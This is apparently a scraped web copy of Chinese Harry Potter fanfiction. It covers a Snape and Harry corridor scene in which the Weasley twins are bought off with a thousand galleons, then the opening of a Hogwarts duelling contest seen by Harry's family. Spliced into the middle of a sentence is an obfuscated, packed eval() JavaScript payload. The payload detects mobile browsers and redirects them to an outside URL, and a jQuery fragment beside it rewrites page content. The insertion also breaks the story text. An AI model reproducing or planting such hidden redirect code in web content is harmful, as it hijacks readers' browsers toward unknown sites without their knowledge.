“哎呀,被发现了也没关系,反正大家都知道——” “知道什么?快说!” 斯内普的脸色越来越黑。他不发一语地拉住拼命憋笑的哈利,快速穿过几条长廊,转进一条偏僻的走道。这儿没有画像、幽灵或管理员打扰,月光从高处窗户落进来,在石板地面上印下几道安静的光斑。 终于清静了。 斯内普扫视了一眼四周,确定没人后停下脚步,转向哈利:“邓布利多今天和你讨论的不应该只是‘那件事’吗?” 哈利靠在石墙上,目光落在月光与阴影交错的地面上:“没错。我全都告诉他了。” 他们心照不宣地避开了“格林德沃”或“时间穿越”这样的敏感字眼。 “邓布利多说这件事的影响可能超出我们的想象,”哈利的视线依旧没有抬起,“他建议我告诉家人,说我不该独自承担。” “你的决定呢?” “我不知道该怎么办,”哈利眉头微皱,看上去有些迷茫,“邓布利多相信那个人的话是真的。当然,他有他的依据。可要进一步验证那人的话,我还是得去寻找线索,进去后会遇到什么——” “寻找线索?”斯内普敏锐地捕捉到关键,“去哪里?” 哈利惊讶地抬头看着他,“我没告诉你吗?” 斯内普沉默了。他忽然意识到,上次哈利打算把所有事情都告诉他时,被他打断了。因为当时的他觉得那些细节无关紧要。之后事情一件接着一件,两人都没再想起这个被搁置的谈话。 两人一时对视无语,显然哈利也想起了这回事。下一秒,年轻人捂着额头,肩膀微微抖动,忍不住笑出了声。 经过这 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16156458|180577||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 么一个小插曲,刚才紧绷凝重的气氛顿时缓和了不少。 哈利长出了一口气,脸上的笑意又慢慢消失:“邓布利多说选择权在我手上。但西弗勒斯,我怎么能这么自私?我好不容易才看到他们有了现在的平静生活,我不能亲手把这一切毁掉。” 他闭上眼睛:“还有……如果他们知道了真相……” “你怕他们会怪你。”斯内普毫不留情地戳穿他的心思,“也怕他们因此陷入危险。”他没有说的是,也许哈利最害怕的,是再次失去刚刚找回的家人。 哈利垂下眼睛,没有反驳,沉默地承认了这一点。 斯内普看着他,看着这个永远习惯把责任扛在自己肩上的傻瓜。月光勾勒出他的侧脸,那张坚强的面容似乎透出了某种脆弱,让斯内普的心狠狠抽了一下。 “你以为瞒着他们,事情就会绕开他们?”斯内普用那种咄咄逼人的语气说,“你那个自大的父亲,还有布莱克那条疯狗,你觉得他们会乖乖地站在一边,看着你一个人去面对危险?” “我明白,可是——” “没有可是,”斯内普打断他,“到时候,布莱克一定会第一个冲到我的办公室,把它拆个干净。你宁愿他们以这种方式知道,还是你亲口告诉他们?” 哈利忍不住翻了个白眼:“小天狼星才不会拆你的办公室。”停顿了一下,他又补充道,“……好吧,他可能真的会。但你们两个就不能稍微克制一下,不要总是互相攻击吗?都过去这么多年了。” “哦,怎么?”斯内普眼睛眯了起来,“你亲爱的教父是不是警告过你,让你离我远一点?看门狗都没他管得宽。” 看到哈利一脸尴尬,斯内普就知道自己猜对了。 布莱克。很好。斯内普在心里冷哼了一声,又给对方记上了一笔。 但他只不动声色地继续说:“你保护不了所有人。” 他上前一步,拉近与哈利的距离,手指抬起哈利的下巴,迫使对方正视自己:“你的家人不是瓷娃娃。他们有权利知道真相,也有能力做出选择。” 哈利望进那双黑眼睛。 “而且,”斯内普用拇指轻轻摩挲着他的脸颊,“你不是一个人。不管你决定怎么做,我都会站在你身边。” 哈利怔住了,那双绿眼睛里有什么在轻轻闪动。 气氛忽然变得暧昧起来。斯内普向前倾身,哈利的目光落在他的唇上,周围的一切似乎都静止下来—— 就在这时,一阵细微的响动传了过来。 斯内普的动作瞬间停住,迅速松开哈利,冷着脸盯向走廊拐角处的一具全身盔甲。 他快步走过去,魔杖干脆利落地一挥。 “西弗勒斯?”哈利疑惑地跟上。 盔甲轰然散落一地,两大一小的身影尖叫着从里面滚了出来。 “哎哟!” “我的屁股!” “你们两个白痴压着我了!” 斯内普冷着一张脸,瞪着在地上摔成一团的韦斯莱双胞胎和西比。 “韦斯莱双胞胎,”他冷笑,“外加一个违规夜游的人偶。这场相遇可真是令人印象深刻。” 哈利抱着胳膊看着眼前这三个不速之客,语气也不太意外:“让我猜猜——你们一定是夜游到一半突然良心发现,决定主动帮教授们巡夜?” 乔治和弗雷德急忙爬起来,手忙脚乱地拍掉头发上的灰尘和蜘蛛网,试图挤出讨好的笑容。“晚上好,教授们!您知道我们一向乐于助人,尤其是协助教授巡夜这种有意义的工作——” 哈利挑起眉毛:“巡到盔甲内部?里面的风景不错吧?” 乔治(或者是弗雷德)干笑一声,假模假样地抬头看向天花板:“今晚的月色确实很美……” “闭嘴,韦斯莱。”斯内普的眼神已经把他们判了死刑,“宵禁之后,你们身体的任何部分,包括这个吵闹的玩偶,都不该出现在宿舍外面。” “可您真的误会了,其实我们只是在和西比讨论一些深奥的魔法理论,”另一人一本正经地说,“太过投入,不小心错过了时间……” “发现的时候已经宵禁了。” “我们正准备回格兰芬多塔呢。” “没想到就碰巧遇到两位教授巡夜……” “为了不打扰二位的重要谈话,我们决定暂时借助盔甲保持低调——” “鬼话连篇!”西比暴躁地打断他们,愤怒地指责道,“你们明明就是来偷听八卦的!还说什么收集第一手新闻材料,结果呢?” “闭嘴,西比!”双胞胎同时低喝道,一左一右伸手捂住人偶的嘴。 但西比毫不客气地挣脱了他们,气急败坏地大声嚷道:“在那个臭烘烘的盔甲里躲了半天,一句有用的都没听见,就听到一堆腻腻歪歪的情话!”它又把矛头对准了斯内普和哈利,“你们就不能关起门来谈情说爱吗?整条走廊都是恋爱的酸臭味!” 斯内普的脸色迅速沉了下来。他飞快地在脑海中盘算起能用什么魔药或咒语,能神不知鬼不觉地将眼前这两个讨人厌的格兰芬多,连同那个聒噪到极点的人偶一并处理干净。然而,脸上那点恼人的热意却始终未能消散。他飞快地瞥了一眼哈利,只见对方的脸色已经红得几乎能与韦斯莱兄弟的头发媲美,手握成拳头挡着半张脸,眼睛盯着天花板的某一处,仿佛巴不得立刻像幽灵一样钻进去消失不见。 哈利窘迫的模样让斯内普的怒火意外地淡了些,甚至隐约感到一丝愉悦从心底浮起。 双胞胎缩着脖子,拼命朝西比使眼色,低声哀求:“西比,求你别再说下去了!” “怎么?我说错了吗?”西比理直气壮地叉着腰,“什么‘你不是一个人’,什么‘不管你决定怎么做,我都会站在你身边’——呕!肉麻死了!我要吐了!” 乔治和弗雷德绝望地闭上了眼睛,仿佛已经看见格兰芬多的计分器在疯狂下跌。 斯内普的脸色彻底黑成了锅底色,就在他决定必须狠狠给这个人偶一个教训时,身边却传来了哈利低低的笑声。下一秒,哈利向前踏出一步,挡在了他面前,“乔治、弗雷德,我记得我们之前是不是有过约定?关于你们的广播节目。” 斯内普盯着哈利的后脑勺,发现对方声音听上去已经恢复了镇定,但耳根处的红晕还是很明显。 双胞胎对视一眼,收敛起嬉皮笑脸的神色,表情认真了不少。 “当然,教授,”乔治赶忙表态,“霍格沃兹八卦前哨站一向坚持传递真相和公正。” “我们一直都在履行承诺。”弗雷德连忙跟上补充道。 “很好。你们也知道,我从不反对学生拥有自己的信息渠道。”哈利继续道,“之前魔法部干涉学校时,你们的节目帮了大忙,帮我们传递了许多重要的信息,揭露了乌姆里奇的真面目。所以,一般情况下我也不打算干涉节目的具体内容。” “但是,”他话锋一转,“我对成为头条新闻没什么兴趣。尤其是某些私人方面的消息。” 双胞胎像小鸡啄米一样拼命点头:“我们完全明白!” “绝对理解,教授!” “那这是?”哈利用眼神示意了一下地上的盔甲碎片。 “这是……”乔治(这次斯内普能确定了)不自在地挠了挠脑袋,“我们只是纯粹好奇,绝对不是为了节目!” “对,就是好奇,”弗雷德连忙说,“毕竟整个学校都在传——” 乔治用胳膊肘狠狠撞了他一下。 “我的意思是,我们什么都不知道,一点也没听说!”弗雷德赶紧改口。 哈利叹了口气:“让我们来谈下第二件事。我知道你们想开一家玩笑商店,但韦斯莱夫人似乎不太赞同。” 乔治和弗雷德惊恐地瞪大了双眼。 “别担心,我不会告诉你们母亲的,”哈利微微一笑,“事实上,我有个提议。” “提议?” “我打算投资你们的商店。” “什么?”双胞胎异口同声地惊呼,连西比都停止了挣扎。 “一千加隆,”哈利平静地报出了这个数字,“作为你们的启动资金。” “一千?”弗雷德难以置信地喊道,“梅林的袜子啊!我们可以买下一整条对角巷的存货!” “您是认真的吗,教授?”乔治结结巴巴地问。 “我想我的信誉还是可以的。”哈利微微扬起眉,“当然,作为交换——” “我们明白!”弗雷德几乎跳了起来,“您和斯内普教授的任何消息绝不会出现在我们的节目里!” “对对对!”乔治疯狂点头,“我们会把相关内容全部销毁,烧得一干二净,一个字都不会留下!” 哈利目光严肃地扫过双胞胎:“我要你们保证,关于我和斯内普教授的任何事,不管是公开还是私下,一句话都不许透露,所谓‘纯粹的好奇’也不行。我并不要求你们特意在节目里去否认什么,但霍格沃兹里还有许多其他值得大家关注的故事,不是吗?” 双胞胎用力点头,像是怕点得不够用力哈利会改变主意。 “以未来的韦斯莱魔法把戏坊发誓!”弗雷德举起手,“这事我们绝对会给您办得漂漂亮亮!” “并且绝对守口如瓶!”乔治赶紧附和,“必要时还会用永久粘贴咒封住嘴!” “西比也不会说的,对吧?”弗雷德威胁地看向人偶。 西比翻了个巨大的白眼:“一千加隆就想封住我的嘴?”它毫不客气地望向哈利,“佩弗利尔,你居然真的看上了这个阴沉的老蝙蝠?除了勉强过得去的魔药技术和一张说话难听的嘴,他还有什么优点?” “西比!”双胞胎惊恐地叫道。 西比举起小手做出投降的样子:“行吧,我闭嘴。现在我们能不能离开这儿?满走廊的酸味都快熏死我了!” 双胞胎赶紧拉起还在抱怨的人偶,一边飞快地后退,一边赔笑道:“教授们再见!我们绝不打扰你们继续谈恋——不,巡夜了!” 他们跑了几步又回头:“教授,真的是一千加隆吗?不是一百?” “一千。”哈利确认道。 双胞胎兴奋地发出一声欢呼,拉着西比飞一般跑远了。远远还能听到他们激动的声音:“一千加隆!我们要发达了!” 走廊总算重新恢复了安静。 哈利得意地朝斯内普扬了扬眉,“看,问题解决了。这样学生们就不会老盯着我们了。” 斯内普却没理会他的调侃,只是默然盯着哈利,看得哈利的笑容开始变得不确定。 “你这么不愿意让别人知道我们的关系?” 话一出口,斯内普便意识到问出这个问题并不理性。他当然清楚哈利只是不想成为流言的主角,可心底却仍泛起了一种荒谬的酸涩。他们的关系竟然需要用金钱来遮掩,就好像这是个见不得人的秘密似的。 哈利显然被这个问题问住了。他睁大眼睛,满脸惊讶:“什么?不是——西弗勒斯,我只是觉得我们的私事没必要成为整个学校的谈资。” 他顿了一下,看到斯内普还是那副表情,似乎明白了什么,眼神中浮现出一丝揶揄:“等等,所以现在不需要‘注意影响’了?我记得某人之前最在乎的就是维持他冷酷无情的形象。” 斯内普没有回应,只是默默地伸出手,牢牢握住了哈利的手。 那一刻,他想起了在那个奇怪的回廊里看到的记忆。记忆里的那个哈利曾不惜对抗整个魔法界,也要为那个死去的“英雄斯内普”恢复名誉。而现在,他面前的哈利却选择隐瞒他们之间的关系,不愿被他人关注。 这个鲜明的对比在他心底激起了莫名的烦躁。嫉妒?不,不完全是。更像是一种深切的不安——他永远比不上那个死去的人。 “走吧。”他拉着哈利继续向前,将那些阴暗的想法压回心底。 哈利被他拉着走,一头雾水:“我们去哪儿?” “巡夜结束。”斯内普头也不回。 “可是才十点半,”哈利迟疑地提醒他,“而且我们还没巡完——” “结束了。”斯内普重复了一遍,手上的力道又紧了些,“回去睡觉。” 121. 决斗比赛 复活节后的第一个星期六,霍格沃兹迎来了本学期最盛大的决斗比赛。 小天狼星跟在费尔奇身后,听着他喋喋不休地抱怨防御措施带来的麻烦。 “——每个人都得登记,”费尔奇尖利的声音带着常年积累的怨气,“姓名、来访目的、预计停留时间——” “邓布利多邀请我们来的。”小天狼星故意把声音放得很大,朝身后的詹姆斯扬了扬下巴,“瞧,这位是魔法部傲罗司司长,詹姆斯·波特,他今天可是决斗比赛的特邀评委!” 费尔奇的目光在眼前的四人身上扫来扫去,像是恨不得在他们身上挑出什么毛病。 “评委只需要一个人。”管理员嘟囔着。 “哦,但观众可以有很多个。”小天狼星摊开双手,摆出一副自认为和蔼可亲的笑容,“放轻松,老伙计。这么精彩的比赛,总不能让我们几个在门口干等着吧?再说了,现在防御加强时期,多几个成年巫师在场总归是件好事,不是吗?” 洛丽丝夫人从费尔奇脚边窜出,冲着小天狼星发出一声尖锐的嘶叫。 “行了行了。”费尔奇在羊皮纸上潦草地记下他们的名字,“都登记好了。别给我惹麻烦,否则——” 莉莉适时地上前一步,礼貌地对管理员微笑道:“好久不见,阿格斯。城堡还是被你照料得很好。” 老管理员的表情软化了一瞬——只有一瞬,但足够让他收起最尖刻的抱怨。他咕哝着什么“越来越多外人”、“规矩都乱了套”之类的话,不情不愿地让开了道路。 穿过门厅,四人的脚步不约而同慢了下来。前几次来这里时都太过匆忙,今天终于有闲情好好感受一下这份久违的亲切。墙上的画像依旧是那些熟悉的脸庞,走廊里的盔甲依然在老位置站岗,让他们瞬间找回了青春岁月的影子。 “想起什么了?”小天狼星随口问道,自己也在打量着四周。 “只是觉得……”卢平的目光停留在墙上那些打瞌睡的肖像画上,“有些东西变了,有些东西没变。就像我们。” 莉莉站在楼梯口,仰头看着那些缓慢移动的楼梯。“就好像还在昨天一样。”她轻声说,声音里透着说不清的怅然。 詹姆斯已经走在前面,他回过头催促道:“想怀旧也等比赛结束再说吧,我可不想第一次当评委就迟到。” 礼堂里的喧嚣声大老远就传了过来。整个礼堂已经被改造成了一个正规的决斗竞技场——中央搭建起圆形的决斗台,周围环绕着蓝色光芒的防护咒语。观众席按照学院分成四个区域,各自悬挂着代表色的旗帜,在魔法的作用下无风自动。 各学院的学生们都拉起了横幅,为自家的参赛选手加油呐喊。格兰芬多的红金色最为耀眼,“勇气与荣耀”的标语配上咆哮的雄狮,气势逼人;斯莱特林那边则是一片银绿色的海洋,“精准致胜”的标语用典雅的花体书写,蛇形图案绕着文字缓缓游动;拉文克劳选择了“智慧胜于蛮力”作为口号,蓝铜色横幅上的老鹰展翅欲飞;而赫奇帕奇的标语最简单直接——就两个字“加油”,黄黑色虽然不那么张扬,却给人一种踏实可靠的感觉。 “人可真多。”莉莉望着熙熙攘攘的人群,感叹了一句,“看来大家对这次比赛都很期待。” “决斗比赛向来如此,何况霍格沃兹已经很多年没办过类似的活动了。”卢平笑着说,“我们读书的时候就没有。” 詹姆斯看了一眼评委席,“我得过去了。”说着他不太高兴地瞪了小天狼星一眼。 “去吧叉子!”小天狼星愉快地拍了拍他的肩膀,动作里带着明显的幸灾乐祸,“好好享受被几百双眼睛盯着的感觉,记得保持微笑,别打哈欠。” “这本来该是你的活儿。”詹姆斯不满地嘟囔了一句。 “别怪我,是哈利说傲罗司司长的身份更适合做评委。”小天狼星一点儿也没为自己把麻烦推给詹姆斯感到内疚,脸上的笑容反而更加灿烂,“你总不能让你儿子失望吧?” 提到哈利,詹姆斯的表情微妙地变化了一下。但他还是忍不住对小天狼星翻了个白眼,“你只是想趁机到处乱逛。” “这不是重点。”小天狼星挥挥手,“快去吧,司长大人。记得公正评分。” 詹姆斯给了他一个警告的眼神,才转身朝评委席大步走去。 小天狼星心里得意地笑出声来。几个月了,总算又可以毫无顾忌地调侃詹姆斯了。至于他自己?只要能自由自在到处逛逛,不被绑在评委席上装模作样就足够了。 “我们去哪儿?”莉莉的目光在人群中快速扫视着,“你们看到哈利了吗?” “哈利应该在决斗台附近吧。”卢平躲开几个兴奋过头的学生,也试图在人海中搜寻熟悉的身影,“泰迪大概和朋友们在一起。” “总能找到他们,先占个好位置再说。”小天狼星刚说完,就眼尖地在不远处发现了那个熟悉的小身影。那孩子今天的头发是耀眼的金色,正与几个朋友聚在一起,兴奋地比划着,看样子是在模拟决斗的动作。 小天狼星一眼就认出了他身边的罗恩和赫敏,但旁边那个浅金色头发的男孩让他皱起了眉头——梅林的胡子,那不是卢修斯·马尔福的儿子吗?他们家可一直都是斯莱特林的,怎么会跟格兰芬多的学生凑到了一块儿? “泰迪!”他提高嗓门喊道。 泰迪立刻转过头来,脸上露出惊喜的笑容:“小天狼星?你怎么来了?” 但很快,男孩的目光越过了他,落在后面的人身上。 他的眼睛瞬间睁大了,整个人都似乎被点亮了。他明显很想跑过来,扑到父亲怀里,可看看身边的朋友和熙攘的人群,只是原地站着,眼睛眨也不眨地望着自己的父亲。 卢平显然也察觉到了儿子的心情。他主动上前一步,蹲下身子与泰迪视线平齐,伸手揉了揉儿子的头发,温声问:“泰迪,一切都好吗?” “很好!”泰迪使劲点头,眼睛里亮晶晶的。 罗恩和赫敏在旁边好奇地看着卢平,视线在父子俩之间打转。赫敏倒是聪明地没有多问什么,只用那双棕色的大眼睛仔细打量着。莉莉则温柔地上前一步,朝罗恩和赫敏微笑着点头致意:“你们好啊,罗恩,赫敏。”说着,她又亲切地拍了拍德拉科的肩膀,后者一脸受宠若惊的模样。 “波特夫人,布莱克先生。”赫敏礼貌地打招呼,又兴奋地转向卢平,“还有卢平先生——您的新书我看了!《失落的连接:古符文在现代咒语中的应用》,里面的理论推导简直太精彩了!” 罗恩目瞪口呆地盯着赫敏,似乎完全搞不懂她究竟是什么时候又啃了一本听起来如此枯燥深奥的书。 “谢谢你,格兰杰小姐。”卢平温和地答道,站起身时,手仍然搭在泰迪的肩膀上,“能读完这本书的人可不多,看来你和莉莉一样,都是难得的例外。” “波特夫人。”罗恩也转向莉莉,有些局促地搓着手,“你们今天怎么……?” “詹姆斯今天是决斗比赛的特邀评委。”小天狼星适时地插话道,“邓布利多邀请我们一起来观看,这毕竟是霍格沃兹多年来难得一见的比赛。” “真的吗?太好了!”罗恩顿时来了精神,“那我们格兰芬多一定要赢!我们有最好的选手!” “你们找到合适的观赛位置了吗?”卢平问道,目光不动声色地扫过德拉科。 “还没呢,”泰迪老实回答,“格兰芬多那边几乎坐满了,来的大多是高年级的学生。我们正考虑去别的地方看看。” “斯莱特林那边倒是还有不少空位。”德拉科小声建议道。 这句话立刻为他赢得了罗恩一个难以置信的眼神:“你在开玩笑吗?让我们去斯莱特林的地盘?” 德拉科耸了耸肩,露出一个自嘲的笑容:“只是随口说说而已,我知道你们肯定不会去。” 赫敏用胳膊肘撞了一下罗恩,圆场道:“我们会找到合适的地方的。” 小天狼星注意到了这些细节,心里的疑问更深了。看上去,这几个孩子并不是太熟络。马尔福家的小子站得有些拘谨,与罗恩、赫敏都刻意保持着距离,反而明显更靠近泰迪。 “我们得去找哈利了。”莉莉轻声提醒。 泰迪还站在卢平身旁不肯动,脸上满是不舍和渴望。卢平轻轻拍了拍儿子的肩膀,轻声说道:“快去和朋友们找座位吧,我们先去找哈利。” 他们告别后继续往前走去,小天狼星忍不住回头又看了一眼。泰迪依旧站在原地,目光追随着父亲的背影,直到被赫敏拉着转身离开。 “马尔福家的小子怎么会跟泰迪在一起?”他忍不住问出了心中的疑惑,“你不担心吗?毕竟那小子父亲可是——” “泰迪是个有自己主意的孩子。”卢平的回答一如既往的宽容温和,“既然他选择和马尔福的儿子交朋友,那肯定有他的理由。我没什么好担心的。” “完了,”小天狼星嘀咕着,“又多了一个被儿子迷昏头的傻爸爸。” 卢平笑了笑,正要回嘴,附近突然传来一阵吆喝声,将他们的注意力吸引了过去—— “下注了下注了!决斗比赛官方竞猜!” “——押弗林特赢的赔率是一赔三!” “塞德里克·迪戈里,一赔五!” 小天狼星循声望去,眼睛马上亮了,“我去去就来!” 莉莉在他身后叹了口气:“小天狼星·布莱克,你就不能克制一下吗?” “这叫支持学生创业。”小天狼星头也不回地摆摆手,“你们先去占位置,顺便找找哈利,我一会儿就来。” 他挤过人群,来到韦斯莱双胞胎临时搭建的“投注站”前。两个红发男孩正忙得不可开交,一个收钱记账,另一个则大声地招揽着人群。周围已经围了不少学生,有的犹犹豫豫,有的干脆掏出了钱袋,他们的生意显然不错。 “格兰芬多都有谁参赛?”小天狼星挤到台前问道。 双胞胎中的一个——小天狼星始终搞不清这两个小鬼谁是谁——眼睛一亮,惊喜道:“布莱克先生,真是荣幸!” “少废话,赶紧说。” “艾伦娜·斯宾塞,五年级,我们的替补击球手。”另一个双胞胎抢着回答,“还有安东尼·戈德斯坦,七年级。” 双胞胎又报出几个名字,小天狼星发现自己几乎一个也没听说过,哦,好像有一个他知道——六年级的克拉拉·温特沃斯,她母亲是魔法部魔法事故和灾害司的副司长。 “斯莱特林那边呢?” “马库斯·弗林特,魁地奇队长,块头大得像巨怪。”双胞胎中的一个接着说,“还有几个五六年级的家伙,全是他的跟班。” 小天狼星想也没想,掏出钱袋:“十个加隆,赌斯莱特林一个都进不了决赛。” 周围响起一阵倒吸气的声音。十个加隆对学生来说可不是小数目。 双胞胎对视了一眼,脸上的笑容更加灿烂了:“您确定?弗林特可不是个好对付的家伙。” “确定。”小天狼星随手把钱袋抛过去,“记好了。” “当然当然!”双胞胎手脚麻利地收下钱,在羊皮纸上快速记着,“您的信心真是让人感动。” “你们就不怕赔光?”小天狼星饶有兴趣地打量着他们简陋的“投注台”,“这种赔率,要是斯莱特林真的全军覆没,你们拿什么赔?” 双胞胎对视一眼,异口同声地说:“商业机密。” 其中一个鬼鬼祟祟地压低声音补充:“不过可以透露一点,我们有投资人呢。一千加隆。” “一千加隆?”小天狼星差点笑出声来,“哪个冤大头会给你们这么多钱?钱多得没处花了吗?” “您这话可就不对了,”另一个双胞胎一脸不服气,“我们可是很有商业头脑的。将来韦斯莱魔法把戏坊开张了,您可一定要来捧场,看在您今天这么慷慨的份上,给您打八折!” 小天狼星摇了摇头,转身离开,心里忍不住怀疑这两个小子不是在吹牛,就是被人耍了。毕竟,那可是整整一千加隆。除非那个“投资人”脑子被巨怪狠狠踹过。 他很快追上莉莉和卢平,发现两人没走远,站着没动似乎正在等他,而莉莉的神情有些奇怪。她眉头微微皱起,不知道在想些什么。 “怎么了?”小天狼星走过去问。 莉莉眨了眨眼,绿眼睛里闪过一丝困惑。“没什么……只是刚刚好像听到有学生在议论一些奇怪的事。” “学生们整天都在议论奇怪的事。”小天狼星不以为意。 莉莉摇摇头,脸上的困惑更加明显了。“应该是我听错了,这里太吵了。”她的目光越过人群,忽然亮了起来,“看,哈利在那里。我们过去吧!” 他们穿过人群走过去,小天狼星的目光落在了不远处的哈利身上。年轻人正站在决斗台边,魔杖在他指尖灵巧地挥动着,一道道咒语从杖尖跃起,在空中编织成复杂的防护屏障。他的动作精准流畅,每次挥动都透出娴熟与自信,浑然不觉周围已经聚集了不少欣赏的目光。 小天狼星盯着他的教子,心底泛起一丝微妙的自豪。这孩子的魔法造诣远比自己之前意识到的还要高明,每个咒语和动作都浑然天成,仿佛早已融入本能。他脑海中不禁浮现出战场上那些身经百战的傲罗身影,他们也拥有这样熟练到近乎本能的魔法技巧。 “哈利。”莉莉轻声唤道。 哈利闻声回头,看到他们后,脸上先是短暂地闪过一丝意外,随即浮现出温暖的笑容:“你们来了?我还以为要等到晚上才能见到你们。” “我们提前到了。”小天狼星警觉地环顾四周,确定没人注意他们后,才压低声音收敛了脸上的轻松:“今晚的事……和上次提到的有关?” 哈利的笑容淡了几分。他略带迟疑地点了点头,显然不愿在这里多谈:“是的,晚上再细说吧。” 他随即转换了话题,目光关切地落在莉莉身上:“黛西呢?你们没带她来?” “我们托付给巴西达了。”莉莉的声音变得柔和,“老太太可喜欢黛西了,抱着她不撒手,还再三保证会照顾好她,让我们放心过来霍格沃兹。” 提起妹妹,哈利的神情松快了不少。 “对了,”莉莉在哈利脸上仔细看了几眼,“你看起来有些累。决斗比赛准备得很忙吧?” “还好。”哈利揉了揉眼睛,“就是要准备的东西比较多。弗立维教授是个完美主义者,每个细节都要反复确认。” “比赛马上就要开始,”弗立维的声音恰好通过扩音咒传遍整个礼堂,“请所有参赛选手到准备区集合。” “我得过去准备了。”哈利后退一步,微笑着看向他们。 卢平温和地点点头:“去吧,我们会到格兰芬多那边找个好位置观赛。” 哈利转身向决斗台方向走去,卢平、莉莉也准备往格兰芬多观众区域那边走。小天狼星跟在他们身后,刚走了两步却又忍不住回头看了一眼。就是这一眼,让他的好心情瞬间消失得干干净净。 斯内普站在斯莱特林观众区域的边缘,黑眼睛一眨不眨地盯着决斗台的方向。不,准确来说,是盯着哈利所在的方向。 让小天狼星更加火大的是,哈利似乎也注意到了斯内普,居然主动朝那个讨人厌的黑衣混蛋走了过去。距离太远,小天狼星听不清楚他们在说些什么,只见哈利认真地说着什么,还不断地用手势比划着;斯内普则安静地听着,偶尔微微点头,低声回应一两句。 突然间,小天狼星发誓自己绝对没有看错——斯内普居然伸出手,动作自然地替哈利捋开了额前凌乱的头发。那一幕看起来亲密得过了头,简直令人难以忍受。而他的教子不但毫无察觉,还转头朝着那个鼻涕精微笑了一下! “怎么了,大脚板?”卢平忽然开口问道,同时一只手稳稳地按住了他的胳膊。 小天狼星这才猛地意识到,自己不知何时已经完全转过了身,拳头攥得死紧,就差直接冲过去了。 “你看到了吗?”他咬牙切齿地低声说道,“那个混蛋——他刚才竟然在碰哈利的头发!” 卢平顺着他的目光望过去,正巧看到斯内普收回手的动作。他眯起眼睛,若有所思地盯着远处的两个人片刻,才不紧不慢地转回小天狼星的脸上,语气轻描淡写:“冷静点,大脚板。他们只是聊几句话而已。就算斯内普真有什么想法,恐怕也不会当着全校师生的面做什么。” “你管动手动脚叫‘聊天’?”小天狼星简直不敢相信自己的耳朵,愤怒地转头瞪着好友,“我告诉你,那个混蛋肯定在打什么鬼主意——” “小天狼星?莱姆斯?”莉莉疑惑的声音从他们身后传了过来,“你们怎么停下来了?” 两人立刻转过身。小天狼星脸上愤怒的神情还没来得及掩盖,而卢平却神色自若,好像刚才什么也没发生一样。 “没什么,”卢平不慌不忙地解释,“小天狼星只是刚才差点冲过去跟皮皮鬼打一架。” “皮皮鬼?”莉莉怀疑地看了他们一眼,“我怎么什么都没看到?” “那是因为它已经飞走了,”卢平平静地回答,“或许是小天狼星的表情把它吓跑了也说不定。” 他一边说着,一边不动声色地用胳膊肘轻轻撞了撞还想争辩的小天狼星。 莉莉的目光在他们两人之间转了转,最后停在小天狼星脸上,好像并不太相信他们的说辞。 “好吧。”她最后说,“比赛马上就要开始了。现在,我们能去坐下了吗?” 小天狼星郁闷地点了点头,努力让自己暂时把鼻涕精那张讨人厌的脸从脑海里赶出去。 ———————— 一道银色的光芒冲天而起,在半空中炸开成无数闪亮的星点。嘈杂的人声渐渐安静下来,所有人的目光都集中到了决斗台上。 邓布利多从评委席上站了起来。老人今天穿着一身缀满星星图案的紫色长袍,银白的长胡子上还扎着一个同色的蝴蝶结。 “女士们,先生们,”他的声音通过魔法扩大,如洪钟般在礼堂回响,“欢迎来到霍格沃兹决斗比赛!” 雷鸣般的掌声和欢呼声几乎立刻席卷了整个礼堂,仿佛要将天花板震落下来一般。这样的热情持续了足足半分钟,直到邓布利多微笑着举起手示意安静,欢呼声才渐渐消退。 “看到这么多人对决斗艺术充满热情,真是让一个老人倍感欣慰,”邓布利多的蓝眼睛在半月形眼镜后愉快地闪烁着,“而且多亏了弗立维教授和佩弗利尔教授的不懈努力,决斗俱乐部和协会才能在霍格沃兹重新焕发出久违的活力。” 又是一阵掌声,这次主要来自参加决斗俱乐部和协会的学生们。 “而今天站在决斗台上的每位选手——”邓布利多的目光在学生们脸上扫过:“请你们记住,击败对手并不是决斗唯一的价值,挑战并超越自我,展现出真正的勇气与智慧,才是我们期待在这个赛场上看到的。” 说到这里,他微微一顿,“在比赛正式开始前,请允许我先向大家介绍今天的评委们。首先,当然是我们的魔咒课教授,菲利乌斯·弗立维教授!” 弗立维教授站了起来,朝着四周礼貌地鞠了一躬。由于他个头矮小,这个动作看起来颇为可爱,引起了一阵善意的笑声。 “相信大家都知道,”邓布利多继续说道,“弗立维教授不仅是杰出的魔咒大师,更曾荣获都灵国际决斗大赛的冠军。” 弗立维教授的脸微微泛红,但看得出来他很享受这样的认可。 邓布利多转向另一边,“接下来,是我们特邀的评委——魔法部傲罗司司长,詹姆斯·波特先生。” 詹姆斯站起身,向观众微微点头致意,脸上流露出恰到好处的威严。格兰芬多的学生们欢呼得格外起劲,显然为有这样一位杰出的院友感到骄傲。 “当然还有我,”邓布利多最后说道,“虽然我的决斗生涯早已是上个世纪的事情了,但我还是希望自己能分辨出魔杖和雨伞的区别。” 学生们都被逗笑了。 “今天的现场裁判,”邓布利多抬起手,示意哈利走到台前,“是我们的黑魔法防御术教授,哈利·佩弗利尔。我相信大家都已经在他的课堂上领教过他对防御术的严格要求,今天,这种严格将确保决斗比赛绝对的公平和公正。” 哈利走到决斗台的正中央,等待着所有观众的目光都集中到自己身上,才开口介绍比赛的规则。 “规则很简单。”他的声音沉稳而有力,“标准决斗礼仪,只允许使用合规的咒语及其变体。任何被裁判组判定为黑魔法或恶咒的行为,都将导致选手被立即取消资格,并扣除所在学院的五十分。” “每场比赛限时五分钟,或直到一方失去战斗能力。”哈利继续道,“评委将从技巧掌握、创意运用、战术意识和整体表现四个方面进行评分。每一位参赛选手,都可以为自己的学院赢得荣誉。” “请各位记住,这是一场展现魔法技巧的比赛,不是生死决斗。我们希望看到的是聪明的战术和漂亮的咒语运用,而非蛮力与恶意。违反规则的选手,同样会被取消资格,并扣除五十分。” “现在,”他退到场边,露出一个鼓励的笑容,“让比赛开始吧。第一场,艾伦娜·斯宾塞对阵佩内洛·克里瓦特!” 